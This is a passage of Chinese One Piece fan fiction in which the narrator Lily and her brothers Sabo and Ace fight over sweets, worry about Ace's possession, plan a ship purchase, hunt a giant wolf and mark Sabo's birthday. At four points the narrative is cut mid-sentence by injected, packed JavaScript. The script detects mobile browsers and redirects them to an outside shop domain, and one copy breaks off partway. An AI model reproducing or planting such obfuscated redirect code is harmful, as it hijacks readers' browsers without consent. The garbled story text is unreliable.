“不好意思,前面那对恶魔兄妹,我年初就换完牙了。”艾斯懒洋洋地斜躺在沙发上,嘴里叼着一根牙签,肚子肉眼可见的大了一整圈。 沙发前的小茶几上原本放了两碟垒得高高的三明治,是用属于萨博和艾斯的那份蜂巢做的蜂巢三明治。现在只剩下两个光溜溜的碟子,所有三明治都悄无声息地消失了。 “啊,我的蜂巢三明治!”萨博发出心痛的呼喊,朝艾斯扑过去,“我原本还打算……你居然把我的那份也全部吃光了,艾斯!” 艾斯轻轻松松闪过萨博的攻击,跳到沙发靠背上面蹲下,嘴里的牙签在他说话时嚣张地上下摇晃:“戈尔波山就是这样残酷的地方,萨博,是你太大意了。” “闭嘴,卑鄙的甜食小偷!”萨博纵身跃起,向艾斯的脸挥出拳头。 艾斯一边招架萨博的攻击,一边坏笑着继续挑衅萨博:“你不是也处在换牙期吗,干脆什么甜食都别吃了,给馋鬼妹妹当个好榜样吧。” 我看他们滚作一团打得不分你我,眼珠子一转,悄咪咪地摸到橱柜前面。我踮起脚尖,努力把手臂伸长,试图去拿被他们刻意放在橱柜最顶层的蜂巢。 不行,完全够不到,跳起来都摸不到边。我究竟什么时候才能长到两米,可恶! 我转头又看了看萨博和艾斯,见他们完全没有注意到我这边的动静,顿时放心不少。我无声地伸展开羽翼,飞向橱柜的最顶层。 哇,金色的、甜滋滋的美味蜂巢!我的眼睛开始放光,嘴巴无法抑制地分泌出了口水。 等他们打完架回过神来的时候,我背靠橱柜,满足地瘫坐在地,正恋恋不舍地舔舐着手指上残留的蜂蜜。旁边的地上摆放着一个光亮到可以照见人影的空盘,里面的蜂巢已经被我吃了个精光。 嘴角青了一块的萨博蹲在我面前,叹了一口气:“你晚上一定会牙疼的,莉莉,到时候我可不会管你。” “我早说过了吧,该给橱柜装把锁。”额头鼓起一个包的艾斯蹲到我的另一边,揪住我沾满了蜂蜜的脸颊,“这个家伙越长大越不老实,最开始明明乖得跟兔子一样。” 我抓住他的手伸头去咬他:“还不是因为你老欺负我!” 呜呜,两边的脸颊都被艾斯揪住了。 艾斯高高挑起眉梢,笑得很恶劣:“原来你是那种越被欺负越会反抗的类型吗,莉莉。”他一边说一边把我的脸颊往两边扯。 我口齿不清地跟萨博告状:“哥哥,你看艾斯,他又揪我的脸——” 萨博用双手托着下巴,饶有兴趣地看着我在艾斯手下挣扎:“这次是莉莉的错哦。” “……”有一种他们在合起伙来欺负我的感觉,错觉吗? 艾斯放手的时候,我的脸蛋又痛又热,被他留下了四道红红的指印。 艾斯戳了一下我脸上红红的指印,纳闷地说:“我明明没使劲。” “痛痛痛,不要再碰我了!”我一巴掌打开艾斯的手,对他怒目而视,“你力气有多大自己不知道吗!” 艾斯不以为然:“是你太脆弱了吧。” 我抱着胳膊生了会儿闷气,突然想起了昨天晚上艾斯被脏东西上身的事。对了,这件事得赶紧告诉萨博。我转头看见笑眯眯的萨博,更生气了。这个家伙刚才居然对我见死不救! “萨博,我现在郑重地通知你——你不是我最喜欢的哥哥了!” “诶?”萨博震惊地张开嘴,连忙为自己刚才隔岸观火的行为找补,“莉莉,我只是觉得……” “好了闭嘴。”我打断他的话,“接下来我要说一件很严肃的事情,是关于艾斯的。” “现在艾斯是你最喜欢的哥哥?!不行,我不同意,强烈反对!” “无聊,谁稀罕这个头衔。” “你们都给我闭嘴!”我站起来跑到他们对面,叉着腰瞪视还蹲在原地的萨博和艾斯,“好好听人家讲话。” 我把昨天晚上发生的事一五一十地讲给萨博听。 萨博听得云里雾里,他抓了抓后脑勺,勉强总结道:“你是说艾斯昨天晚上变成了另外一个人,先是带你去达旦家的厨房偷吃夜宵,说了些奇奇怪怪的话。回到房间后,他突然压制住你,亲了你脖子上的那颗心形胎记?” 艾斯皱了一下眉:“萨博,你早就知道莉莉脖子上有胎记?” 这个人怎么总是抓不住重点。 “你不知道吗?”萨博偏过脑袋,像是疑惑艾斯为什么会问出这种问题。他思索了一会儿,自顾自地点了点头:“也对,你从来没给莉莉梳过头发。那颗胎记平时都被莉莉的头发挡住了,正常情况下是看不到的。——啊,等等,现在不是说这个的时候。艾斯,你最近有吃过什么奇怪的东西,去过什么奇怪的地方或者碰过什么奇怪的东西吗?我觉得你碰上灵异事件了。” “我昨天已经想过这些问题了。”艾斯摇了摇头。 “那就麻烦了,找不到源头就没办法对症下药。”萨博苦恼地揉了揉太阳穴,“艾斯,这段时间不要带莉莉去达旦家过夜了,也尽量不要和莉莉单独待在一起。你看莉莉,就算被你压着亲了一下,对你也没有产生一丁点的防备心,还敢继续睡你旁边。很危险啊,这种态度。” “……”艾斯睁大眼睛,整个人都僵住了,红晕开始一点点爬上他的脸颊。“什,什么叫被我,被我亲了一下!”结结巴巴地说完这句话,艾斯的脸彻底红透了,连他脸上零零星星的小雀斑都没能幸免。他像只被踩到了尾巴的猫一样跳起来:“又不是我干的!” 萨博无奈地说:“我知道不是出自你的本意,但那个不知名的东西确实是用你的身体做出了那种行动吧。” “我的,我的身体……是我……亲,亲了莉莉?”艾斯抱住脑袋,不可置信地喃喃低语。 “艾斯,你才意识到这一点吗?”我鄙夷地盯着头顶都快冒出蒸汽的艾斯,“你也太迟钝了吧,真是个笨蛋。” “……倒也轮不到你来说这句话,莉莉。”萨博头痛地捂住额头,“你就一点不担心自己吗?” “有什么好担心的,不就是被艾斯亲了一下脖子嘛,虽然是不喜欢被碰到的地方。”我鼓起脸,理所当然地说,“我平常也会亲你们啊,这不是很正常的兄妹互动吗。像艾斯那样才不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222175|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常吧,有必要这么害羞吗?” “重点不是亲哪里、亲谁或者是应不应该害羞这种莫名其妙的问题!”萨博提高音量,眼神逐渐变得锐利起来,“如果控制了艾斯身体的那个东西对你有恶意,想要杀掉你,莉莉,你觉得自己能够逃脱吗?” 啊,完全没有想过这种可能……我光担心艾斯会不会因为那个东西受伤了。 艾斯听了萨博的话,猛地抬起头,原本红通通的脸失去了血色。他看向萨博,用沉闷的语气叫了一声萨博的名字。 萨博也看向艾斯。 他们两人交换了一个我看不明白的眼神。 我挠了挠头,迟疑地开口:“应该没有这么严重吧,虽然那个东西是个萝莉控变态,但是我感觉得到——他对我没有恶意。” “莉莉,那种东西光是存在就是一种恶意了。” 我理智上明白萨博的话说得没错,眉头却违背了我的理智,皱了起来。我回想起它对着我毫无顾忌大笑的样子,无措地咬住嘴唇。我不喜欢听到萨博这样说它。 完全没有道理,它占据了艾斯的身体,对我做了坏事,我为什么想要……维护它。 “我出去看看我的桃树,这件事你们自己商量吧。”小声地丢下这句话,我跑出了山洞。 桃树是两年前种下的,就在小溪边。当时它还是枚小小的桃核,如今已经长成3米多高、枝叶繁茂的小树了。萨博说桃树一般会在3-4岁的时候开花结果,运气好的话,我们明年夏天就有一堆美味多汁的蓝色桃子可以吃了。 我在小溪边坐下,甩开鞋子把脚泡进清凉剔透的溪水中。如果桃树明年真的会开花,等到花谢结桃子的时候,我是不是能看到这样的景色呢——粉色的心形花瓣在风中轻轻飘荡,一片一片落入溪水中,溅起圈圈透明的涟漪。流水淙淙,粉色的心形花瓣在水中打旋,像一条条载着甜蜜的小船,摇摇晃晃地驶向未知的远方。 真让人期待。 脚上传来痒痒的触感,我低头一看,一群不知名的小鱼游到了我的脚边,正好奇地绕着我的脚打转。 这个大小做香酥小鱼正好诶。 眼睛突然被捂住了。身后的那个人把下巴放在我的头顶,笑嘻嘻地问:“猜猜我是谁?” 我在一片黑暗中眨了眨眼睛,睫毛扫过他温热的掌心。我故作冷酷地开口:“是被我踢出最喜欢哥哥排行榜的笨蛋。” 萨博像是被利箭刺中心脏似的惨叫起来:“你对我太严格了吧,莉莉,我只是这一次没有帮你!” “哼。”我发出不满意的鼻音。 萨博放开捂住我眼睛的手,坐到我身边。他拉住我的双手捧在胸前,讨好地眨巴着那双圆溜溜的黑眼睛:“请问这个世界上最最可爱的妹妹,我要怎么补救才能重新回到排行榜上呢?” “唔——让我想想要怎么敲诈你。”我努力压住想要往上翘的嘴角。 “你刚才说了‘敲诈’这个词吧?” “你听错了。” “才没有,你明明……” 我鼓起脸把手往回抽。 萨博收紧手指不让我抽回手,严肃地点头:“嗯嗯,莉莉说得对,是我听错了。” 我终于忍不住笑了出来,抬起下巴示意萨博去看在我脚边徘徊的小鱼:“去拿网过来,我要吃香酥小鱼。吃完就原谅你。” “好嘞,我马上就去!”萨博蹦起来,一阵风似的冲回家里。 那个东西……有点像萨博。我突然后知后觉地意识到。 22. 贩卖手册和莉莉三号 吃香酥小鱼的时候,我完全控制不住自己的眼神不停往艾斯身上飘。 因为他的造型实在很独特——黑色的发丝间落满了洁白的盐粒;脸颊被红色的颜料一边画了一个奇怪的符号,都快要看不到他的小雀斑了;脖子上挂着一串散发着浓郁味道的大蒜;手腕和脚腕都缠上了带铃铛的红绳,一动就叮里咣啷地响。 艾斯瞪了我一眼,恶声恶气地开口:“烦死了,别一直看我!” “我把知道的所有驱魔手段都试了一遍,肯定管用。”萨博比了个大拇指,话音里充满信心,“我还准备了终极手段。”他掏出一根黑色的圆棍抵在艾斯腰上,按下手柄上的红色开关。 “!!!”艾斯浑身抽搐,手里的小鱼干掉在了地上,他自己也倒在了小鱼干旁边,炸开的黑色头发上冒出一阵灰烟。 我看着艾斯的惨状喷笑出声:“哈哈,是电击棒吗?” “你知道这个东西呀,莉莉。”萨博把电击棒塞进我手里,简单地介绍了一下用法。 “萨博,你这个家伙!”恢复过来的艾斯从地上爬起来,狠狠磨牙。 “是这样用的吗?”我把电击棒抵在艾斯肩膀,按下开关。 他又一次冒着灰烟倒下了。 我和萨博头挨着头蹲到艾斯身边,露出了相同的恶劣笑容。 “怎么样,莉莉,是不是超级管用?” “萨博,现在你重新变成我最喜欢的哥哥了。” “嘿嘿。”萨博心满意足地傻笑起来。 第二次遭受电击的艾斯恢复速度明显比第一次要快。在他额头青筋直跳,举起拳头冲过来的前一秒,萨博捞起我迅猛逃窜。 “你们今天谁都别想活着跑出戈尔波山!” “哈哈哈哈哈哈哈……” 我和萨博欢快的笑声久久回荡在森林里。 * 距离我们抢到两百万贝利那天已经过去了一个多月,萨博预计风声差不多过去了,打算去一趟不确定物终点站那边探听情报。 他本来没准备带上我,想要像平时那样把我暂时寄放到达旦那边,第二天中午的时候让艾斯送我回来。结果我要走的时候他又突然改变了主意,嘴里嘀咕着“艾斯那家伙的考察期还没过”“就算有电击棒也不保险”“一个人带小孩好辛苦”之类的话,带着我一起去了不确定物终点站。 我们一路借着各种大型垃圾作为掩护,避开人流和看起来可疑的生人们,悄悄来到了垃圾场中段的某个破败窝棚——这里居住着萨博的老熟人弗格森,他是一名中年拾荒者,脸上有一道从左额贯穿至下巴的狰狞伤疤。 “你说米尔恩那伙人?他们已经全灭了。”弗格森接过萨博带给他的酒,咬开瓶塞往旁边吐出,仰起头咕噜咕噜地猛灌了一大口。吞咽下酒液后,他舒爽地吐出一口浊气,继续道:“据说是和新来的布鲁杰姆一伙起了冲突。” 不确定物终点站的势力更迭一向很快,毕竟是无序混乱的不法之地。我们对米尔恩一伙人的结局并不感到意外。 “也就是说我们现在可以不用避风头了。”萨博放松了许多,又向弗格森询问起布鲁杰姆一伙人的相关情报。 “他们是一群从伟大航路逃回来的海贼,目前驻扎在南边的海湾,以海贼船为据点进行着非法活动。我看他们短时间内不打算离开不确定物终点站。”弗格森又往嘴里灌了一口酒,语气中带着警告的意味,“萨博,莉莉,你们可千万不要去招惹那伙海贼,他们全是一群杀人不眨眼的疯子,和你们平时打交道的小混混们是完全不同的存在。” 我乖乖点头。 “他们身为海贼,不去航海寻求冒险,跑到垃圾场里凑什么热闹?”萨博诧异地问。 萨博和艾斯好像都对海贼抱有某种不切实际的美好幻想。但是说到底,海贼这种职业和山贼、强盗、小偷之类的犯罪分子根本没有区别吧。 弗格森抬手擦了一把嘴边的酒沫,没好气地说:“鬼知道他们想干什么,正常人谁会选择去当海贼。” 诶,原来海贼处在鄙视链的最底层吗?我头上冒出一个惊叹号。 萨博不满地竖起眉,上前一步把我挡在身后:“喂,大叔,不许在我妹妹面前说这种话!” “抱歉抱歉,忘记你们这群小家伙的梦想了。”弗格森发出几声豪迈的大笑,态度敷衍地道了个歉。他从怀里掏出一本小册子,扔给萨博:“你要的船舶贩卖所的商品目录,接着。” 萨博接住那本小册子,眉目舒展成惊喜的神色:“终于拿到手了!太感谢你了,大叔!” “这上面最便宜的船都要7000多万贝利,你们买得起吗?” “这个就不劳烦您操心啦。”萨博龇着牙笑,没有理会弗格森的试探。 “哦哟,长大了,知道防备人了。”弗格森好笑地摇了摇头,他朝萨博背后的我招手,“过来莉莉,大叔这里有糖。” 我仰起头用目光询问萨博,直到他对我点头,我才跑过去拿糖。 我从大叔那里拿到了一小包五颜六色的水果硬糖。 “谢谢你,弗格森大叔。”我对他露出一个甜甜的笑容,挑出粉色包装水蜜桃味的硬糖,剥开糖纸塞进嘴里。 真好吃。我快乐地眯起眼睛。 弗格森没有讲话,只是看着我笑,笑容里透着怀念和悲伤。 他在透过我思念谁呢?我没有心思深究。 在历史的长河中,我们每个人都是一颗微不足道的水珠。那些独属于我们自己的悲欢离合是水珠中小小的闪光,汇聚起来共同组成了这条波澜壮阔、奔流不息的河流。 和弗格森礼貌道别后,我们又在不确定物终点站闲逛了几圈,萨博翻找出不少可以用来修补家具的材料,我则误打误撞地捡到了几条宝石项链。途中我们遇到了不少认识的拾荒者,从他们那里听到了更多的关于布鲁杰姆一伙人的可怕传言。几乎每个人都对我们作出了警告,让我们千万不要招惹布鲁杰姆一伙。 “啊啊,真是的,一个两个都这样,我是那种做事情没有分寸的人吗。”萨博郁闷地把小礼帽扯正。 身体力行地当了这么久恶童,我感觉自己已经丧失了对于“分寸”这个概念的正常认知。我用不太确定的语气回答:“应该是有的吧。” “‘应该’两个字是多余的!” 我嘻嘻地笑,把我的糖递过去:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我又看了看我手上的烤肉,然后再看了一眼鸟笼,情绪开始崩溃。 怀着侥幸的心理,我蹲在鸟笼前仔仔细细地往里面寻找,试图从里面找出一只活蹦乱跳的鹦鹉。 然而没有,笼子里除了几片羽毛,什么都没有! 手里拿着香喷喷的烤肉,我的眼泪喷涌而出。 我瞒着萨博,辛辛苦苦折腾了好几天才从林子里抓来的鹦鹉——被艾斯这个狗东西烤了! 还烤得超级香!!! “可恶,我们现在只买得起这种最低级的海贼船,不要说大炮了,连厨房都没有!”说完这句话,艾斯突然转过头看我,不放心地叮嘱:“莉莉,先别着急吃,还要再烤十分钟才能……喂,你哭什么?” 谁想吃啊,这可是“莉莉三号”!我原本打算送给萨博的10岁生日礼物! 萨博和艾斯丢开书围到我身边,一个检查我的手,一个检查我的眼睛。 萨博问:“手被烫到了?” 艾斯问:“辣椒粉进眼睛了?” “没有,没有!别把人家当成笨蛋!”我恼火地推开他们,哽咽着把穿着莉莉三号的木棍放到火堆上方。“看你们的船去!” 烤都烤了,还能怎么办,总不能浪费吧。 他们满头问号地看了我一会儿,又看向彼此,眉眼间是如出一辙的怀疑——“你怎么招惹她了?” 我含着眼泪把烤熟的莉莉三号吃掉了。呜呜呜,真香。 23. 礼物和狩猎 吃完莉莉三号,我开始发愁。 明天就是萨博的生日了。 而今天下午是我的狩猎修行,我要在萨博和艾斯的看护下独自一人猎杀巨狼,身长3米那种。不管狩猎能不能成功,我今天肯定没有多余的精力避开萨博的注意,去寻找第二份礼物。 空气中的水份表示明天会是个雨天,我要不要使用操控海水的能力,把雨滴变成蝴蝶或者小船之类的东西,送萨博一场梦幻的雨当做礼物呢? 不,不行。同样的东西不能送两次,这样会让一前一后收到礼物的两个人都不高兴。我抱住脑袋,懊恼地想:早知道会这样,上次就该送别的东西给艾斯当生日礼物。反正他一直不愿意告诉我他的生日,我想什么时候送他生日礼物就什么时候送,完全不需要考虑这种时限问题。 说起来都怪艾斯,他为什么要把我给萨博准备的生日礼物烤了,我明明都藏到那么隐蔽的地方了!这么小一只鸟有什么可吃的,塞牙缝都不够,可恶! 我跑回家里,打算去翻一下我的储物箱和玩具箱,看能不能从里面找出一件拿得出手的礼物。 迈进山洞,我第一眼就看到了小茶几上放着的红色百合。诶,是艾斯带过来的吗?这是他送给萨博的生日礼物? 完全不像他的风格耶。他不该送一锅好吃的肉或者稀有大甲虫之类的东西吗。 怀着这样的疑问,我抱着花跑出去问艾斯:“艾斯,这束花是……” 艾斯转头看了一眼我怀里的红色百合,随口道:“那个小鬼让我带给你的,说是上次蜂巢的回礼。” 居然是路飞送给我的。比起上次他送给我的凄惨白百合,这几朵红百合全都完好无损,新鲜又漂亮。看来路飞越来越适应戈尔波山残酷的环境了。 “你愿意和路飞做朋友了?” “我对他那种弱小又吵闹的家伙不感兴趣。”艾斯的语气很嫌弃。 “那你还帮他给我带花?” “啊,你不是喜欢花吗?” ……你人还怪好的咧。不会又被什么东西上身了吧? 艾斯危险地眯起眼睛:“虽然不知道你在想什么,莉莉,你的眼神真让人火大。” 萨博在他旁边捂着嘴闷笑。 这样的艾斯才对味嘛,我顿时放心了。我怀抱着艳丽明媚的红色百合,弯起眼睛对艾斯笑:“我很喜欢,替我谢谢路飞,也谢谢你愿意帮忙带花,艾斯。” 艾斯的反应有点奇怪。他没有接我的话,直勾勾地盯着我看了好几秒,然后猛地转回脑袋,继续去看摆放在他和萨博前面的船舶贩卖目录。 “喂,你翻这么快干嘛。”萨博抓住艾斯翻页的手,发出不满的抗议,“我都没有看清楚前面那几艘船的细节呢。” 这样就害羞了?我把视线从艾斯发红的耳廓上收回,疑惑地挠了挠头。最近他害羞的阈值变得好低,是那个,唔,叛逆期到了吗? 我哼着歌蹦蹦跳跳地回到家里,找了个喝空的汽水瓶插上百合,整理出错落有致的形状,摆到小茶几的中央。 收到花心情都变好了。 下次去达旦家的时候,我要背着艾斯偷偷亲一口路飞,他也太可爱了吧。 * 下午的狩猎修行果然很凶险,我差点被巨狼咬掉了右手。 与巨狼对战了半个多小时,那个狡猾的东西眼看打不过我,又逃不出萨博和艾斯的包围,被我一钢管砸中脑袋后就势倒下装死。 我见到地面被我最后一击的余波砸出了一个大坑,觉得巨狼肯定死透了,得意地想要撑着巨狼的脑袋摆出胜利POSE,然后就听见了萨博和艾斯的怒吼。 回过神来的时候,我被萨博按在地上,艾斯用钢管敲碎了巨狼的尖牙和脑袋。脑浆和狼血飞溅而出,劈头盖脸淋了我们一身。 心脏后知后觉地开始狂跳,我大口呼吸起血腥味浓重的空气。 萨博的呼吸也很急促,他拉我起来,抬手用袖子擦拭我脸上的血迹,紧张地问:“有没有受伤?” “没有。”我小声回答。 “我教过你多少次了,莉莉!”艾斯看起来快要气死了,“战斗的时候不要松懈不要分心,我们要是慢一秒,你就……”他打住话头,怒气冲冲地把巨狼的尸体踢开,一连砸断了旁边的三颗小树。 倒下的树砸起了一大片尘土,这下好了,我们身上又是血又是灰,脏得像三个血糊糊的泥人。 我垂着脑袋,心虚道:“……对不起,我下次不会了。” 萨博的袖子上都是血,怎么可能擦干净我的脸。他把我的脸越擦越脏,最后偏开头“噗嗤”一声笑了。他用脏兮兮的手摸我脏兮兮的头,无奈地说:“一定不要再有下次啦,莉莉,心脏都快被你吓得停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222177|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳了。” “对不起,哥哥。”我老实巴交地道歉。 “萨博,就是你老用这种态度纵容她,才把她惯得一身坏毛病!”艾斯掉转枪口,把火气转移到萨博那边。 死道友不死贫道。我努力把自己缩小,假装自己不存在。 “哈哈哈,因为是世界第一可爱的妹妹嘛。”萨博摸着后脑勺大笑,看起来完全没有反省的意思。 “萨博!!!” 我和萨博不出意料地被艾斯揍了,两个人的脑袋上都冒出了热气腾腾的肿包。 回家的路上,艾斯火冒三丈地扛着巨狼走在最前面,路过的狗都要被他踢上一脚。萨博背着我走在后面,我们时不时拉扯对方去看沿途的有趣风景——骷髅头模样的蘑菇,树顶坠下的彩色羽毛,盘旋追逐的蝴蝶……在艾斯愤怒的目光飘过来时,我们俩立刻板起脸,装出严肃正经有在好好反省的表情。 回到家里,我们三个都又累又饿又脏,没人乐意去烧水,拿上洗漱用品跳进了家附近的溪流里。 我用能力在我和他们之间升起一道水幕,用来隔绝彼此的视线。在这方面真的完全指望不上他们。萨博现在还非要和我睡一张床呢,问就是不抱着我睡不着,怕我半夜又偷溜出去。 干脆在我脚上栓根绳子好了。我都这么大了,凭什么不能半夜溜出去玩!他不知道和海豚们一起潜水冲浪,与飞鸟一起遨游夜空多有趣多快乐。唔,遨游夜空暂时还是算了,上次被老鹰一爪抓走的经历挺吓人的。 随着身体的日渐长大,我的力量、速度、体力以及能力也在不断增长。以前我只能控制海水,现在已经能够小幅度地操纵淡水了。虽然仅限于升起薄薄一层水幕,让水流加速之类没什么大用的小小技能。 我有好多好多关于控水能力的构想,我相信未来我一定会实现这些构想,变成一个超级厉害的人!以后艾斯再揪我的脸,我就掀起风浪把他扔进海里,他不道歉我就不让他上岸,嘿嘿。 想象着快乐的未来,我美滋滋地笑起来。 “你一个人在傻笑什么呢,莉莉,要我帮你擦背吗?”萨博从那层薄薄的水幕里探出脑袋。 “……”我就说在这方面完全指望不上他们吧。算了,反正早就坦诚相见过无数次了,大家都是小孩子,看就看吧,没关系,无所谓,我一点都不在乎(憋屈流泪)。 24. 生日和财宝 鸡飞狗跳地洗完澡,我们开始动手做饭,食材是那头巨狼的尸体。萨博负责切割,我负责串肉刷调料,艾斯负责烤,分工明确,效率超高。 烤肉的间隙,萨博和艾斯说起买船的事情,他们一致认为用好不容易攒了5年的海贼储备买一条最低级的海贼船太浪费了,不如再忍耐几年,买条配置更好体积更大的船。说着说着,他们又为以后谁当船长起了分歧,艾斯想让萨博当他的航海士,萨博想让艾斯当他的战斗员。两个人都瞄准了船长的位置,寸步不让。 我专心啃肉,不掺和他俩的话题。 我不想当海贼,我对抢夺海上商船,劫掠海港城市没有兴趣,也不觉得萨博和艾斯长大以后会干出这样的事。光是想要出海冒险、游历采风、寻找宝藏的话,当个探险家不就好了。他们向往成为海贼,是因为这个名头听上去比冒险家更帅气吗? 和他们这样说的时候,萨博又露出那种“真让人操心”的表情,给我科普了一番成为冒险家的必要条件。 首先要在海军设立的航海管理机构考取航海执照;然后准备计划书,游说贵族和商人们获取启动资金,从国王那里获得航海许可;另外还有一大堆听起来就很麻烦的事项。 我们在第一步就被拦住了,像我们这种在无法地带长大、没有身份证明的小孩,连考取航海执照的资格都没有。 管得这么严,难怪大多数人都直接去当海贼了。 太阳往西沉的时候,艾斯准备动身回达旦家,问我今天要不要和他一起回去,说多古拉和马古拉老是在他耳边念叨我,听得他很烦。 我眼睛一亮。这不是一个重新给萨博准备礼物的好机会吗! “不行。”萨博按住我的脑袋,不让我点头。“说好要观察三个月,确认你的身体不会再出现异常之后才能把莉莉给你带。艾斯,这才过去几天,我是绝对不会同意莉莉和你走的!” 我沮丧地垂下肩膀。萨博很少有说话这么强硬的时候,而这种时候就意味着他的决定不容许别人反驳。我多半是去不了达旦家了,礼物的事情到底该怎么办,愁死我了。 “才过去几天吗?”艾斯疑惑地抓了抓头发,“我怎么感觉距离莉莉上一次跟我回去已经过去很久了?” 萨博拍了两下钉在洞口的木板,把上面的日历翻开:“你自己过来看,到底过去了几天。” 艾斯脸上露出一丝茫然,他走到那边去看日历,问:“今天几号?” “3月19日啦,你过得到底是什么日子。”萨博头疼地说。 艾斯盯着日历上被我用爱心圈起来的日期,露出思索的表情,随后恍然大悟:“明天是你的生日诶,萨博。” 这个笨蛋虽然记住了萨博的生日,却完全不知道今夕是何夕……我感觉他肯定没有给萨博准备礼物。 以前他们俩是不会相互送生日礼物的,毕竟都不喜欢过生日,他们甚至连对方的生日是几月几号都不知道——艾斯至今不愿意告诉我和萨博他的生日日期,不知道究竟在顾忌什么。 年初我给艾斯准备生日礼物的时候,萨博觉得他这边不送会显得很奇怪,于是也给艾斯准备了礼物,是一个他亲手做的机器人模型。这个机器人模型的眼睛里装了两个小灯泡,在它从人型变身成坦克的时候,灯泡会发射出淡黄色的光芒。 比起我那场梦幻的蝴蝶雨,艾斯明显更喜欢萨博的礼物。 明明我的礼物漂亮多了,不是很懂男孩子的审美。 大概是陷入了和我相同的礼物烦恼,艾斯没有对萨博的决定提出异议,自己一个人回去了。 我在他身后大声提醒:“艾斯,明天要下雨,记得带伞哦。” “知道了。”艾斯没有回头,背对着我挥了挥手。 * 我晚上睡觉的时候都在想礼物的事情,还做了一个噩梦——天上不断掉落着大大小小的礼物盒,我像是被定身了一样立在原地,逐渐被无数礼物盒淹没,压在最下面窒息死掉了。 梦醒后,我发现是萨博这家伙把脑袋枕在了我的胸口。我被他压得动弹不得,呼吸都不顺畅。 他的睡相越来越差了,真是的。我挣扎着推开萨博,从床上爬下来,头晕脑胀地开始翻我的玩具柜。这里面有什么能当礼物的东西吗,头痛。 无意中瞥到箱子角落一个不起眼的小盒子,我灵光一闪,决定把这个送给萨博。 小盒子里装着一枚镶嵌着钻石的金戒指,是我从垃圾场找到的第一件有价值的东西。从它开始,我每次去垃圾场捡东西,都能从各种奇怪的地方找出珠宝首饰之类的贵重物品,我觉得它是一个幸运的开始。 我换了个更好看的礼物盒装戒指,在萨博醒过来的第一时间递到他面前,笑容灿烂地说:“生日快乐,萨博!” “早安,莉莉。”萨博揉着眼睛,迷迷糊糊地坐起身。他从我手上接过漂亮的礼物盒,用另一只手掩着嘴打了个呵欠,声音中带着未散的睡意:“谢谢你的礼物,我要拆开咯。” 我趴到床尾,双手托腮摇晃着小腿,紧张又期待地注视着萨博接下来的反应。 他解开蝴蝶结,将礼物盒打开。 “戒,戒指?”萨博惊诧地看向我。 “嗯嗯,这是我的幸运戒指。”我笑嘻嘻地点头,“我要把我的幸运送给萨博!” 萨博把戒指拿出来仔细打量,他迟疑了一下:“这是女孩子戴的款式吧?” “没必要戴在手指上呀,这样不方便活动。我在礼物盒最底下放了一根素链,你可以把戒指穿起来挂在脖子上。——戴脖子上好像也不方便活动。”我歪着脑袋想了想,“唔,不戴也无所谓啦,主要是想把幸运送给你,戒指只是个载体,你放好别丢就行。” “……”萨博欲言又止,他看起来像在斟酌合适的言辞。 “哥哥,你不喜欢吗?”我鼓着脸,委屈地颦起眉头。 我知道这份礼物多少有点敷衍了,但是时间紧迫,我实在找不出更好的礼物了。明年我一定会提前准备好两份超棒的礼物补偿你,萨博,所以这次就放过我吧,拜托了! “喜欢!”萨博的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222178|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴比他的思绪更快。他在自己说完后才反应过来,按住额头委靡地呻吟了一声:“莉莉,不许故意用这种表情和我说话。” “我不知道哥哥在说什么哦。”我欢快地在床上打滚,一路滚到萨博身上,揽着他的脖子在他脸上响亮地亲了一口:“今天也是最喜欢哥哥的一天,嘿嘿。” “好啦好啦,我知道了,今天也最喜欢莉莉。”萨博放弃了追究礼物的事,低下头在我的脸蛋上回亲了一口。 我眉开眼笑地放开萨博的脖子,乖乖坐到他旁边,看着他从礼物盒里找出素链,穿上戒指,把这枚幸运戒指戴在了自己的脖子上。 “很适合你。”我龇着牙比出大拇指。 他露出无奈又纵容的神情,摸了摸我的脑袋:“早上要吃蒸蛋羹吗?” “要!还要吃炸小鱼、奶油蘑菇汤和南瓜派!” “今天究竟是谁的生日……” * 萨博生日之后再过31天,就是我的生日。 我半死不活地躺在床上,腮帮子高高肿起。 那颗松动的牙齿一直没掉,我没事就喜欢捏住它晃一下。前几天大概是手劲没收住,晃得太狠了,一声轻微的断裂声后,血腥味迅速占据口腔,我痛得整个人都麻了。后来听医生说,我把那颗牙齿的其中一个牙根掰断了。 